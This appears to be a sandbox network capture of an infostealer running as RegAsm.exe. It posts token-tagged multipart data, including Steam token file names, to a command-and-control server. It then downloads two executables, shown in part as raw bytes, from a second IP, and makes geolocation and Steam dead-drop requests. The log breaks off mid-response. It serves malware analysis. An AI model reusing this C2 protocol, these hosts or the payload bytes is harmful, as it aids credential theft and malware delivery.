VjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 2, 2024 17:17:27.007325888 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIID Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="message"files------JKECFCFBGDHIECAAFIID--
Oct 2, 2024 17:17:27.191451073 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 17:17:27.203474998 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="file"------KKJKFBKKECFHJKEBKEHI--
Oct 2, 2024 17:17:27.411951065 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 17:17:27.415056944 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGD Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 2d 2d 0d 0a Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="message"ybncbhylepme------CGHDAKKJJJKJKECBGCGD--
Oct 2, 2024 17:17:27.613322973 CEST	399	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 172 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 30 4e 79 34 30 4e 53 34 30 4e 43 34 78 4d 44 51 76 62 47 52 74 63 79 38 32 4e 6d 5a 69 5a 6d 4e 6a 5a 44 67 7a 4e 32 46 6a 58 33 5a 68 5a 47 64 6e 5a 48 4e 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 73 5a 47 31 7a 4c 7a 59 32 5a 6d 4a 6d 59 32 4d 35 4f 54 59 7a 59 32 46 66 62 47 52 6d 63 32 35 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 77 3d Data Ascii: aHR0cDovLzE0Ny40NS40NC4xMDQvbGRtcy82NmZiZmNjZDgzN2FjX3ZhZGdnZHNhLmV4ZXwwfDB8U3RhcnR8NHxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9sZG1zLzY2ZmJmY2M5OTYzY2FfbGRmc25hLmV4ZXwwfDB8U3RhcnR8NHw=
Oct 2, 2024 17:17:29.756736040 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJE Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DBKEGCAEGIIJKFIEHIJE--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	65281	147.45.44.104	80	5140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 17:17:27.623305082 CEST	95	OUT	GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 17:17:28.265422106 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:28 GMT Content-Type: application/octet-stream Content-Length: 423840 Last-Modified: Tue, 01 Oct 2024 13:44:45 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfccd-677a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 20 06 00 00 06 00 00 00 00 00 00 ee 3e 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 a1 95 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 3e 06 00 53 00 00 00 00 40 06 00 42 02 00 00 00 00 00 00 00 00 00 00 78 51 06 00 28 26 00 00 00 60 06 00 0c 00 00 00 60 3d 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0f > @@ `>S@BxQ(&``= H.text `.rsrcB@"@@.reloc`&@B>H@+ B,Je8Xf3Zmv$:rXM6'4,OT!BC\|[{2yd?1d2mU5A93B[ltP3fAyz$[Yi[v\Bqg^pd{t}y[PvyH @'2^4h7!OwJxiv?G6^`q8NZ-TuW1zK_7-H<fz(7-@{%xB#"S4
Oct 2, 2024 17:17:28.265460014 CEST	1236	IN	Data Raw: ea 2c 4e af 9d f1 ad fe a3 ce 11 d4 91 82 69 4f dc df 93 1b de fd c1 23 54 b7 a1 91 d5 00 dc 6a 4e bc 46 c3 41 19 10 12 ed ba 0a e8 68 cc 6a be 05 70 86 96 cb 22 26 d3 78 55 2d e0 cd d2 60 0b 8d 08 c2 34 c9 af 91 0e e8 a2 32 2a c0 e6 26 eb f8 48 Data Ascii: ,NiO#TjNFAhjp"&xU-`42&H_\Jn@ #}&rx!F$N/Xisx0+aNux#YD;X@c_a)\|i-?so-f/nkj/8{,jyweJ
Oct 2, 2024 17:17:28.265479088 CEST	1236	IN	Data Raw: 59 3c 7e 25 7f ff 0c cd 0a e6 cf f9 f5 6f 25 ec 4e 1d 9f c5 4b 70 3f 62 b1 1c 03 8c 71 f9 fb 6a c6 ba e7 02 26 de 61 9b 64 af c8 cb 28 66 e8 63 47 8b e7 7b 56 64 29 10 12 c9 77 b2 f7 20 c0 86 1d c2 d6 a7 97 c7 a6 7e 39 23 f0 bc a6 a2 10 5a 77 3c Data Ascii: Y<~%o%NKp?bqj&ad(fcG{Vd)w ~9#Zw<e%P]"3bYdgP'T\|Y}!S4E~R%?[_7B$+Ne<knB{'sUvz2G7O,]9xntxBZpg%}]L'k
Oct 2, 2024 17:17:28.265496016 CEST	672	IN	Data Raw: 07 bf de da 93 24 11 b8 3f 40 f5 d7 92 05 78 2d f1 f7 eb 9d 89 32 e9 e2 50 4f b3 63 b0 08 40 cd ad 76 67 c5 63 ff 7f 38 51 f8 ad 40 7d 72 a9 2e b7 43 c0 11 74 ef 63 21 5d 6f d8 d5 31 e8 f2 0c 73 ea 8f 4a 71 9e ec 6a b9 c2 58 0f 2d 74 21 91 0d c3 Data Ascii: $?@x-2POc@vgc8Q@}r.Ctc!]o1sJqjX-t!HM\|N^wVGy_"}ra]8X@)w_`@UA^k?nU7 L`kTM5I,KLiP6:XLTyJ[f2:-Q+Zs:JQ
Oct 2, 2024 17:17:28.265512943 CEST	1236	IN	Data Raw: 98 aa 88 ad 8e 1b ac 7a 8f 0c cc d8 69 a7 bf 59 bd 02 53 37 7f cb 39 8d da 2a 5c 95 08 e7 f1 ca 26 37 e9 81 98 14 73 8b b0 ef 57 cb ad 68 e8 3d 94 54 6e a5 f9 99 41 08 7c 42 ef e9 39 60 e5 24 3e 4f 2b 77 3c 00 5d 87 1a 12 f0 73 a5 6e bb c2 cd ea Data Ascii: ziYS79\&7sWh=TnA\|B9`$>O+w<]snZ9RF]Bblwd!^dI/$-z046-"QSp.zAaE1z^7R 2V,nOa+L+H~R04`.c+
Oct 2, 2024 17:17:28.265530109 CEST	1236	IN	Data Raw: e2 53 fe 01 16 b7 fa b8 e4 1d d6 47 76 ed 09 3a 97 71 66 8b d6 84 f8 6f c4 57 73 db 16 8f 56 3e d4 6e 11 ae 88 f3 66 e1 9e a6 c6 49 a7 21 3f 8b a3 fe 7a b3 fd 38 05 9c 0a c3 0c 9f 58 4d bf 18 bd ad 04 f5 c3 34 83 06 8a 52 d5 61 93 02 76 e2 1b 4c Data Ascii: SGv:qfoWsV>nfI!?z8XM4RavL\|s<lx@Ro7aR`OGCTp8=A+dwsX wY_{S4e9'kfo~ZrACyPm:2sypXo+of/,I
Oct 2, 2024 17:17:28.265547991 CEST	1236	IN	Data Raw: 0f 5d 32 1a 3e 34 5e 77 55 7b c2 ee 5c c1 b3 b0 71 1a c3 7b 57 a6 2d 92 82 51 23 0c b5 a5 fd 9a 02 db 84 e7 d3 42 b4 04 f1 70 b7 87 ba c7 f4 39 ce 13 c3 7b 83 8b c6 0f b9 e7 42 d6 91 da 69 06 9d e0 45 ed c7 08 7e 26 e2 d2 f4 4f 9c 53 90 ee 1a 9a Data Ascii: ]2>4^wU{\q{W-Q#Bp9{BiE~&OS=pw=Cwn~H(dr+b0@/TjLC5S0pBj)Z$?)^1:XPE_p9n'>DQ#3Zy&No =Vf6 fW7Q
Oct 2, 2024 17:17:28.265563965 CEST	1236	IN	Data Raw: b7 a4 d3 d2 84 fc f2 37 c7 25 55 c3 68 38 7b 2b 54 a8 6c 42 ff 6b 09 cc c4 cb 43 6f 5e 0a 03 be 9f f8 fe 20 15 34 8d dd 1a 2b 34 b3 65 18 6a ce e7 b5 8f 65 e9 9e 04 53 98 28 99 8b ee 3a 48 46 cf 5e 94 f7 f4 c0 ad 04 82 fa db fc 3f 76 78 73 7d 30 Data Ascii: 7%Uh8{+TlBkCo^ 4+4ejeS(:HF^?vxs}0v!_Q7s+<!A%xjvWs%3n\|l,\R}w+n$[l[v\|rD^b{HDnwf>N.;l39eLh4Z+e>U:Mh8w3$TD}_/v)b?>Vt
Oct 2, 2024 17:17:28.265583038 CEST	1236	IN	Data Raw: d9 50 45 cc 03 56 bc a2 d4 a2 9b 70 6a e6 d1 26 21 6f 72 00 fe 16 da 3d 94 88 b1 9f 0c 6b 82 85 75 60 81 b5 d7 bf ca 69 85 ed 34 3d 89 2b 6d 25 3a 61 8b 2c 8a 9b 96 9c 7c 33 61 4e ca 96 08 46 82 47 86 c5 0d 8c 80 50 c4 bb fd a8 55 5b 44 0a 27 b4 Data Ascii: PEVpj&!or=ku`i4=+m%:a,\|3aNFGPU[D'P;F,.%heA;Psz]kh"5$0d7rQe=IL2U KP~ZhWF1\|Nz'jn
Oct 2, 2024 17:17:28.265602112 CEST	1236	IN	Data Raw: 43 21 39 06 9a f1 f7 85 14 fb d8 44 c4 04 0f 64 39 57 0c 34 93 d4 7f c5 fd a6 46 d4 21 97 c8 19 72 1b e7 dd 11 3c e8 c5 ac 9f f5 7e 6c 56 c4 e9 5f a2 b8 b2 9e 7a eb a3 55 fb 5c 11 13 ec 82 c7 04 b1 a2 14 7f d0 f0 e3 9c 3e 4e de 11 d1 9d 82 39 81 Data Ascii: C!9Dd9W4F!r<~lV_zU\>N9@=&xTf1-wmon'z-R+y<#k[`B8b)E.P7(m@dRn428PW~=)uJ.\|6Tg[}xuR@^$aQy]Jg~KE9?f
Oct 2, 2024 17:17:28.270549059 CEST	1236	IN	Data Raw: f3 c0 ab ba 9e 2f 0b 5c d2 9a 11 7e 4a 28 e7 23 9d 55 7f 9a fa 8c 90 5b 0d 69 7d 1a b4 ae f5 52 27 5e 6e de 46 5f b4 1d 47 07 3b 25 9b 24 20 d3 c5 e7 5e f3 ca e7 bb f9 9d 18 bd ae c2 35 6d 63 5e 5e 5a fd 66 5e 08 a7 16 21 da 4c 9e 29 ff f9 be 29 Data Ascii: /\~J(#U[i}R'^nF_G;%$ ^5mc^^Zf^!L))& pHQuM^0g6fm8//l?\p;n!LE=u?L7ny]5~w2n0#pga7Qh%=N7S3ZdR
Oct 2, 2024 17:17:29.083198071 CEST	93	OUT	GET /ldms/66fbfcc9963ca_ldfsna.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 17:17:29.275887012 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:29 GMT Content-Type: application/octet-stream Content-Length: 391072 Last-Modified: Tue, 01 Oct 2024 13:44:41 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfcc9-5f7a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 20 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 a0 05 00 00 06 00 00 00 00 00 00 ee be 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 a2 22 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 be 05 00 53 00 00 00 00 c0 05 00 42 02 00 00 00 00 00 00 00 00 00 00 78 d1 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 60 bd 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL f @ "`SBx(&` H.text `.rsrcB@@.reloc@BH@ [(<sTw/x~ITT5Q>zbS/2Ew>/dt_so>UVSa5JKYw.#s"-d-7avn\].Lt:2o1!q9_OK^")0.3$5,}3cxz2I}Ie$ .V OGUa$+%\B-U3nc,lffo` bO

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49723	173.231.16.77	443	5632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:15:54 UTC	202	OUT	GET /?format=json HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: api64.ipify.org
2024-10-02 15:15:54 UTC	156	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:15:54 GMT Content-Type: application/json Content-Length: 20 Connection: close Vary: Origin
2024-10-02 15:15:54 UTC	20	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"ip":"8.46.123.33"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49724	34.117.59.81	443	5632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:15:55 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: ipinfo.io
2024-10-02 15:15:55 UTC	458	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 1025 content-type: application/json; charset=utf-8 date: Wed, 02 Oct 2024 15:15:55 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-02 15:15:55 UTC	932	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-10-02 15:15:55 UTC	93	IN	Data Raw: 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: k Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49726	104.26.3.46	443	5632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:02 UTC	196	OUT	GET /1nhuM4.js HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: iplogger.org
2024-10-02 15:16:02 UTC	997	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:16:02 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.43090057373046875 expires: Wed, 02 Oct 2024 15:16:02 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 40589004137263905=2; expires=Thu, 02 Oct 2025 15:16:02 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.33; expires=Thu, 02 Oct 2025 15:16:02 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UVcwXyCAZhDMMEpBT539%2BsCxH5Z%2BmBHGO9cK%2F7X3yUg8fJ9NIqphQgNN0gA3Zm8YEPcsA1dCtLKLg%2F5whAqg9zi2ZsVPqAgNul9cW6yjLtH4%2FeUkqBOHPSQpGvAuag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc5a6ba796b6a57-EWR
2024-10-02 15:16:02 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-10-02 15:16:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	65230	104.102.49.254	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:29 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:29 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: 